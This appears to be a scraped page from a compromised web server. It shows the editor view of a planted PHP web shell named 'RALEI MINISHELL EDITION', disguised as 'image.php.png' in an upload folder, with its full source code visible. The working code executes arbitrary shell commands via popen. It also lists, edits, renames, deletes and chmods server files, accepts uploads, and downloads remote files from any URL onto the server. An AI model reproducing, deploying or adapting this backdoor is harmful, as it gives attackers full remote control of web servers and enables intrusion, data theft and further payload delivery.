[+] EDITØR MODE [+]
htdocs
>
public
>
www
>
upload
>
conc
>
3
>
image.php.png
Edit File: image.php.png
<style> /* Gaya CSS yang telah diberikan */ @import url('https://fonts.googleapis.com/css2?family=Chakra+Petch&display=swap'); body { font-family: 'Chakra Petch', sans-serif; background-color: #191d2b; color: #fff; margin: 0; padding: 0; } .container { max-width: 860px; margin: 0 auto; background-color: #1c2331; padding: 20px; box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); } a { text-decoration: none; color: inherit; } h2 { margin-bottom: 20px; color: #6fdbe8; font-size: 28px; font-weight: bold; text-align: center; text-transform: uppercase; } .file-list { margin-bottom: 20px; } .file-list table { width: 100%; border-collapse: collapse; } .file-list th, .file-list td { padding: 8px; border-bottom: 1px solid #33425b; } .file-list th { background-color: #2c384f; font-weight: bold; color: #6fdbe8; text-align: left; } .file-list td.actions { text-align: center; } .file-list .icon { font-size: 20px; /* Ubah ukuran teks ikon menjadi 20px */ margin-right: 5px; } /* CSS untuk tipe "Folder" */ .file-list .file-type-folder { color: #FF4646; /* Warna merah jika tidak writable */ } /* CSS untuk tipe "File" */ .file-list .file-type-file { color: #FF4646; /* Warna merah jika tidak writable */ } /* CSS untuk tipe "Folder" jika writable */ .file-list .file-type-folder.writable { color: #00FF00; /* Warna hijau jika writable */ } /* CSS untuk tipe "File" jika writable */ .file-list .file-type-file.writable { color: #00FF00; /* Warna hijau jika writable */ } .code-container { margin-bottom: 20px; } .code-container pre { background-color: #2c384f; padding: 10px; overflow-x: auto; color: #fff; } .error { color: #ff4757; margin-bottom: 10px; } .success { color: #2ed573; margin-bottom: 10px; } .yellow { color: yellow; } .btn { display: inline-block; padding: 8px 16px; background-color: #6fdbe8; color: #000; border: none; cursor: pointer; border-radius: 4px; transition: background-color 0.3s; font-size: 14px; font-weight: bold; text-transform: uppercase; } .btn:hover { background-color: #2ed573; } .infected { background-color: #ff4757; } .actions form { display: inline-block; } .actions input[type="submit"] { margin-left: 5px; } .scrollable-text { max-width: 400px; overflow-x: auto; white-space: nowrap; } .loading { margin-bottom: 10px; color: #2ed573; text-align: center; display: none; } select { padding: 6px; font-size: 14px; border: 1px solid #ccc; border-radius: 4px; background-color: #fff; color: #333; } select:focus { outline: none; border-color: #6fdbe8; } select option { background-color: #fff; color: #333; } /* Tambahan Gaya CSS */ .output-container { margin-bottom: 20px; background-color: #2c384f; padding: 10px; color: #fff; height: 200px; overflow: auto; font-family: Consolas, Monaco, 'Andale Mono', 'Ubuntu Mono', monospace; } .output-container pre { margin: 0; } .command-form { text-align: center; } /* Responsif */ @media (max-width: 768px) { .container { padding: 10px; } .command-form input[type="text"] { width: 100%; } } /* CSS untuk tombol */ .button-cyan-outline { background-color: transparent; border: 2px solid #00FFFF; /* Warna cyan (#00FFFF) untuk outline */ color: #00FFFF; /* Warna cyan untuk teks */ padding: 10px 15px; /* Padding untuk memberikan ruang di dalam tombol */ text-align: center; text-decoration: none; display: inline-block; font-size: 16px; cursor: pointer; } /* Efek hover ketika cursor berada di atas tombol */ .button-cyan-outline:hover { background-color: #00FFFF; /* Warna cyan (#00FFFF) ketika di-hover */ color: #fff; /* Warna teks menjadi putih */ } input { height: 30px; } /* CSS untuk form kontrol dark mode */ /* Ganti warna latar belakang dan teks untuk form kontrol */ input.form-control, textarea.form-control, select.form-control { background-color: #222; color: #fff; } /* Ganti warna latar belakang dan teks untuk tombol */ button.btn { background-color: #333; color: #fff; } /* Ganti warna latar belakang dan teks untuk form kontrol dalam mode aktif */ input.form-control:focus, textarea.form-control:focus, select.form-control:focus { background-color: #444; color: #fff; } /* Ganti warna latar belakang dan teks untuk form kontrol yang diaktifkan atau memiliki nilai tertentu */ input.form-control:enabled, textarea.form-control:enabled, select.form-control:enabled { background-color: #222; color: #fff; } /* Ganti warna latar belakang dan teks untuk form kontrol yang dinonaktifkan */ input.form-control:disabled, textarea.form-control:disabled, select.form-control:disabled { background-color: #333; color: #777; } /* CSS untuk input teks dark mode */ /* Ganti warna latar belakang dan teks untuk input teks */ input[type="text"] { background-color: #222; color: #fff; border: 1px solid #444; } /* Ganti warna latar belakang dan teks untuk input teks dalam mode aktif */ input[type="text"]:focus { background-color: #444; color: #fff; border: 1px solid #666; } /* Ganti warna latar belakang dan teks untuk input teks yang diaktifkan atau memiliki nilai tertentu */ input[type="text"]:enabled { background-color: #222; color: #fff; } /* Ganti warna latar belakang dan teks untuk input teks yang dinonaktifkan */ input[type="text"]:disabled { background-color: #333; color: #777; } </style> <!-- Memuat Font Awesome --> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" integrity="sha512-iecdLmaskl7CVkqkXNQ/ZH/XLlvWZOJyj7Yy7tcenmpD1ypASozpmT/E0iPtmFIB46ZmdtAc9eNBvH0H/ZpiBw==" crossorigin="anonymous" referrerpolicy="no-referrer" /> <?php function displayCurrentPath($dirPath) { echo '<div class="current-path">'; $pathArray = explode('/', $dirPath); $currentPath = ''; foreach ($pathArray as $index => $pathPart) { if ($pathPart === '') { continue; } $currentPath .= '/' . $pathPart; echo '<a href="?cd=' . urldecode($currentPath) . '">' . $pathPart . '</a>'; if ($index < count($pathArray) - 1) { echo ' > '; } } echo '</div>'; } function tampilkanIsiDirektori($dirPath) { // Check if there's a parameter "change_dir" sent via GET if (isset($_GET['cd'])) { $newPath = ($_GET['cd']); if (is_dir($newPath)) { // Update $dirPath with the new path $dirPath = $newPath; } } $files = scandir($dirPath); echo '<div class="container">'; echo '<h2>[+] RALEI MINISHELL EDITION [+]</h2>'; // Tampilkan input perintah echo '<div class="command-form">'; echo '<form method="POST">'; echo '<input type="text" name="command" placeholder="ls -la" />'; echo '<button type="submit" class="btn">RUN</button>'; echo '</form>'; echo '</div>'; // Tampilkan hasil output if (isset($_POST['command'])) { $command = $_POST['command']; $output = excmd($command, $_GET['cd']); echo '<div class="output-container">'; echo '<pre>' . htmlspecialchars($output) . '</pre>'; echo '</div>'; } // Display the current path as a tree-like structure displayCurrentPath($dirPath); echo '<div class="file-list">'; echo '<form method="POST">'; echo '<table>'; echo '<tr>'; echo '<th>❤ Nama</th>'; echo '<th>Tipe</th>'; echo '<th>Byte</th>'; echo '<th>Izin</th>'; echo '<th>Aksi</th>'; echo '</tr>'; foreach ($files as $file) { if ($file != '.' && $file != '..') { $filePath = $dirPath . '/' . $file; $fileType = is_dir($filePath) ? 'DIR' : 'FILE'; $fileSize = is_dir($filePath) ? '-' : filesize($filePath); $filePermission = substr(sprintf('%o', fileperms($filePath)), -3); $fileIcon = is_dir($filePath) ? 'FOLDER yellow' : 'FILE'; // Tentukan apakah file atau folder writable $isWritable = is_writable($filePath); echo '<tr data-file-path="' . $filePath . '" data-file-type="' . $fileType . '" data-file-name="' . $file . '">'; // echo '<td><input type="checkbox" name="selected_files[]" value="' . $filePath . '" /></td>'; // Kolom centang echo '<td><input type="checkbox" name="selected_files[]" value="' . $filePath . '" /> <i class="icon fas fa-' . $fileIcon . ' ' . ($isWritable ? 'writable' : '') . '"></i> <a href="?cd=' . urldecode($filePath) . '">' . $file . '</a></td>'; echo '<td class="file-type-' . strtolower($fileType) . ($isWritable ? ' writable' : '') . '">' . $fileType . '</td>'; echo '<td>' . $fileSize . '</td>'; echo '<td class="' . ($isWritable ? 'writable' : 'not-writable') . '">' . $filePermission . '</td>'; // Gunakan kelas CSS sesuai writable atau tidaknya echo '<td class="actions">'; echo '<form method="POST">'; if (is_file($filePath)) { echo '<input type="hidden" name="file_path" value="' . $filePath . '" />'; echo '<a href="?editor=1&file=' . ($filePath) . '" class="button-cyan-outline" title="Edit"><i class="fa fa-edit"></i></a>'; // echo '<button type="submit" name="delete_file" class="btn btn-danger" title="Hapus"><i class="fa fa-trash-alt"></i></button>'; } elseif (is_dir($filePath)) { echo '<input type="hidden" name="dir_path" value="' . $filePath . '" />'; // echo '<button type="submit" name="delete_dir" class="btn btn-danger" title="Hapus"><i class="fa fa-trash-alt"></i></button>'; } echo '</form>'; echo '</td>'; echo '</tr>'; } } echo '</table>'; echo '<hr>'; echo '<label for="action_select" class="form-label">Select Action: </label>'; echo '<select name="action_select" id="action_select" class="form-control">'; echo '<option value="delete">DEL3TE</option>'; echo '<option value="chmod">CHM0D</option>'; echo '</select>'; echo '<div id="chmod_input_container" style="display: none;">'; // Tambahkan div untuk mengelompokkan input "chmod" echo '<label for="chmod_input" class="form-label">Izin Baru:</label>'; echo '<input type="text" name="chmod_input" id="chmod_input" class="form-control" />'; echo '</div>'; echo '<button type="submit" name="submit_action" class="btn btn-primary mt-2">Submit</button>'; echo '</form>'; echo '</div>'; echo '</div>'; echo '<div class="container" style="text-align: center;">'; // Handle file upload using form select if (isset($_FILES['file_upload']) && $_FILES['file_upload']['error'] === 0) { $targetDirectory = $dirPath; $uploadedFileName = basename($_FILES['file_upload']['name']); $uploadedFilePath = $targetDirectory . '/' . $uploadedFileName; if (move_uploaded_file($_FILES['file_upload']['tmp_name'], $uploadedFilePath)) { echo '<script>alert("File berhasil diunggah: '.$uploadedFileName.'");</script>'; } else { echo '<script>alert("Gagal mengunggah file: '.$uploadedFileName.'");</script>'; } } echo '<form method="POST" enctype="multipart/form-data">'; echo '<input type="file" name="file_upload" class="form-control" />'; echo '<button type="submit" name="upload_file" class="btn btn-primary mt-2">Upload (Form Select)</button>'; echo '</form>'; // Handle file upload using CURL if (isset($_POST['url_upload']) && !empty($_POST['url']) && !empty($_POST['filename'])) { $targetDirectory = $dirPath; $downloadUrl = $_POST['url']; $downloadFileName = $_POST['filename']; $downloadFilePath = $targetDirectory . '/' . $downloadFileName; $ch = curl_init($downloadUrl); $fp = fopen($downloadFilePath, 'wb'); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $result = curl_exec($ch); curl_close($ch); fclose($fp); if ($result) { echo '<script>alert("File berhasil diunduh dari URL dan disimpan: '.$downloadFileName.'");</script>'; } else { echo '<script>alert("Gagal mengunduh file dari URL: '.$downloadUrl.'");</script>'; } } echo '<form method="POST">'; echo '<label for="url">URL:</label>'; echo '<input type="text" name="url" class="form-control" required />'; echo '<label for="filename">File Name:</label>'; echo '<input type="text" name="filename" class="form-control" required />'; echo '<button type="submit" name="url_upload" class="btn btn-primary mt-2">Upload (CURL)</button>'; echo '</form>'; // Handle file upload using Link if (isset($_POST['link_upload']) && !empty($_POST['url']) && !empty($_POST['filename'])) { $targetDirectory = $dirPath; $downloadUrl = $_POST['url']; $downloadFileName = $_POST['filename']; $downloadFilePath = $targetDirectory . '/' . $downloadFileName; $fileContent = file_get_contents($downloadUrl); if ($fileContent !== false) { if (file_put_contents($downloadFilePath, $fileContent) !== false) { echo '<script>alert("File berhasil diunduh dari URL sebagai isi dan disimpan: '.$downloadFileName.'");</script>'; } else { echo '<script>alert("Gagal menyimpan file dari URL sebagai isi: '.$downloadFileName.'");</script>'; } } else { echo '<script>alert("Gagal mengunduh isi file dari URL: '.$downloadUrl.'");</script>'; } } echo '<form method="POST">'; echo '<label for="url">URL:</label>'; echo '<input type="text" name="url" class="form-control" required />'; echo '<label for="filename">File Name:</label>'; echo '<input type="text" name="filename" class="form-control" required />'; echo '<button type="submit" name="link_upload" class="btn btn-primary mt-2">Upload (Link)</button>'; echo '</form>'; echo '</div>'; } function excmd($koman, $dir = null) { if ($dir !== null) { $koman = 'cd "' . $dir . '" && ' . $koman; } $output = ''; if (function_exists('popen')) { $handle = popen($koman, 'r'); if ($handle) { while (!feof($handle)) { $output .= fgets($handle); } pclose($handle); $output = utf8_encode($output); $json = json_encode($output); if ($json !== false) { if (trim($output) === '') { $err = ''; return $err; } return $output; } } } $err = 'popen function not available or an error occurred while executing the command.'; return $err; } // Get the current path automatically using getcwd() $directoryPath = getcwd(); // Check if the "editor" parameter is set if (isset($_GET['editor']) && $_GET['editor'] == 1 && isset($_GET['file'])) { $filePath = $_GET['file']; // Check if the file exists and is writable if (is_file($filePath) && is_writable($filePath)) { if (isset($_POST['save_content'])) { $newContent = $_POST['file_content']; $method = $_POST['save_method']; if ($method === 'fopen') { // Save the edited content using fopen $fileHandle = fopen($filePath, 'w'); if ($fileHandle) { if (fwrite($fileHandle, $newContent) !== false) { $successMessage = 'Berhasil menyimpan isi file menggunakan fopen.'; } else { $errorMessage = 'Gagal menyimpan isi file menggunakan fopen.'; } fclose($fileHandle); } else { $errorMessage = 'Gagal membuka file menggunakan fopen.'; } } elseif ($method === 'file_put_contents') { // Save the edited content using file_put_contents if (file_put_contents($filePath, $newContent) !== false) { $successMessage = 'Berhasil menyimpan isi file menggunakan file_put_contents.'; } else { $errorMessage = 'Gagal menyimpan isi file menggunakan file_put_contents.'; } } elseif ($method === 'stream_context_create') { // Save the edited content using stream_context_create $context = stream_context_create(['http' => ['timeout' => 10]]); if (file_put_contents($filePath, $newContent, 0, $context) !== false) { $successMessage = 'Berhasil menyimpan isi file menggunakan stream_context_create.'; } else { $errorMessage = 'Gagal menyimpan isi file menggunakan stream_context_create.'; } } } // Handle rename file action if (isset($_POST['rename_file'])) { $newFileName = $_POST['new_file_name']; $directory = dirname($filePath); $newFilePath = $directory . '/' . $newFileName; if (rename($filePath, $newFilePath)) { $successMessage = 'Berhasil mengganti nama file.'; $filePath = $newFilePath; // Update file path after renaming } else { $errorMessage = 'Gagal mengganti nama file.'; } } // Read the file content $fileContent = file_get_contents($filePath); // Display the editor echo '<div class="container">'; echo '<h2>[+] EDITØR MODE [+]</h2>'; displayCurrentPath($filePath); echo '<h3>Edit File: ' . basename($filePath) . '</h3>'; // Display success or error message if available if (isset($successMessage)) { echo '<div class="alert alert-success">' . $successMessage . '</div>'; } elseif (isset($errorMessage)) { echo '<div class="alert alert-danger">' . $errorMessage . '</div>'; } echo '<form method="POST">'; echo '<textarea name="file_content" rows="25%" cols="100%" class="form-control">' . htmlspecialchars($fileContent) . '</textarea>'; echo '<input type="hidden" name="file_path" value="' . $filePath . '" />'; echo '<label for="save_method" class="form-label">Method: </label>'; echo '<select name="save_method" id="save_method" class="form-control">'; echo '<option value="fopen">fopen()</option>'; echo '<option value="file_put_contents">file_put_contents()</option>'; echo '<option value="stream_context_create">stream_context_create()</option>'; echo '</select>'; echo '<button type="submit" name="save_content" class="btn btn-primary mt-2">Simpan</button>'; echo '</form>'; // Display the rename form echo '<form method="POST" class="mt-3">'; echo '<label for="new_file_name" class="form-label">Rename: </label>'; echo '<input type="text" name="new_file_name" id="new_file_name" class="form-control" required />'; echo '<button type="submit" name="rename_file" class="btn btn-secondary mt-2">Rename</button>'; echo '</form>'; echo '</div>'; exit(); // Stop further execution of the directory listing } } // Handle action selection if (isset($_POST['submit_action'])) { $selectedFiles = $_POST['selected_files']; $action = $_POST['action_select']; if ($action === 'delete') { // Delete selected files/directories foreach ($selectedFiles as $selectedFile) { if (is_file($selectedFile)) { if (unlink($selectedFile)) { echo '<script>alert("Berhasil menghapus: '.$selectedFile.'");</script>'; } else { echo '<script>alert("Gagal menghapus: '.$selectedFile.'");</script>'; } } elseif (is_dir($selectedFile)) { if (rmdir($selectedFile)) { echo '<script>alert("Berhasil menghapus: '.$selectedFile.'");</script>'; } else { echo '<script>alert("Gagal menghapus: '.$selectedFile.'");</script>'; } } } } elseif ($action === 'chmod') { // Change permissions of selected files/directories (e.g., chmod) $newPermission = $_POST['chmod_input']; // Change this value to the desired permission foreach ($selectedFiles as $selectedFile) { if (chmod($selectedFile, octdec($newPermission))) { echo '<script>alert("Berhasil mengubah izin: '.$selectedFile.'");</script>'; } else { echo '<script>alert("Gagal mengubah izin: "'.$selectedFile.'");</script>'; } } } } echo '<body>'; tampilkanIsiDirektori($directoryPath); echo '</body>'; ?> <!-- Include Bootstrap JS --> <script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/js/bootstrap.min.js" integrity="sha512-Dv9iNjtjaLxxz/RfW3oskIygsu6hx20wA4Uj27FO6PBNpIKpxJjbFUT+Dhx9L53tuKSDwx+hReV0SHU/92rvw==" crossorigin="anonymous" referrerpolicy="no-referrer"></script> <script> // Tambahkan skrip JavaScript untuk menampilkan input "chmod" saat opsi "Ubah Izin" dipilih document.getElementById('action_select').addEventListener('change', function() { const chmodInputContainer = document.getElementById('chmod_input_container'); if (this.value === 'chmod') { chmodInputContainer.style.display = 'block'; } else { chmodInputContainer.style.display = 'none'; } }); </script> </html>
Method:
fopen()
file_put_contents()
stream_context_create()
Simpan
Rename:
Rename